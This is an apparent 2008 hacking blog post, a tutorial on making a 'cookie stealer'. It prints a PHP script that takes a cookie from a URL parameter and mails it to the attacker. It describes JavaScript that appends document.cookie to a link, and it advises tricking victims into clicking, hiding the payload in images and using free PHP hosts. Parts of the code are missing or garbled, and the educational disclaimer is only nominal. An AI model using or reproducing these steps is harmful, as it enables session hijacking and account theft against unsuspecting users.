Sunday, May 25, 2008

How to make a Cookie Stealer script

How to Make a Cookie Stealer

Introduction

Hi Folks, Now its to learn about Cookie Stealer, What does it acutally mean,how does it works and what its purpose is?
If you dont have any idea about Cookies then you should go through wikipedia to learn what does cookie mean.

Ok now coming to the cookie it consists of two parts sender and receiver.
The sender is yoursef where you should take many forms providing a link to the receiver(victim).I hope its not difficult to make your victim to click on the link provided by you, you can find many ways to trap a receiver to click on cookie stealer script.

Well,Its not mandatory that you should be perfect with php,java or html scripts.
The first and the foremost thing to be remebered is you should a two webhosting servers which hosts your php script ant html script two
well the cookie stealer php script is hosted only by php servers and inserting this cookie stealer php script in a html tag and hosting this html script in some some html hosters.

Now the coding part begins

Here is the code

Step1:

$cookie = $HTTP_GET_VARS["cookie"]; // line 2
mail("myself@mydomain.com", "Cookie stealer report", $cookie); // line 3
?> // line 4

This is how actually a cookie stealing script appears.

Line 1 states that its a php text
Line 2 states that it grabs the cookie from the server and place it in $cookie
Line 3 states that it mails you the cookie to your mail (myself@mydomain.com) with a subject "Cookie stealer Report"
Line 4 states end of php text

Step 2:

// Line 3

You have to be very careful while implementing this step. well its not too complicated but it little bit of concentration where the small concepts of java and HTML are being utilised
In step two
Line 1 states that the code below is a java script
Line 2 It appends document.cookie to the end of the URL(+ document.cookie)
Line 3 End of script

There are many ways of implementing those code on victims adress bar as some of the tricks are aslo mentioned in my blog posts

Just insert this code in a picture as we have binded a .exe file with .jpeg file in this post>. and then send your Picture
You can trick the victim into clicking a link which activates the sender. For example:
Click here!
Well if you need some more tricks to send this script to your user just leave your comment

inspired by freakwolfe

Free PHP hosting servers:
http://www.0php.com/free_PHP_webhosting.php
http://www.free-webhosts.com/free-php-webhosting.php

Note: This content is for educational purpose only,Use it wisely

Related posts

Cookie Stealing.
Hacking Through a Picture>.
Hacking Gmail account.
send a fake email.

No comments: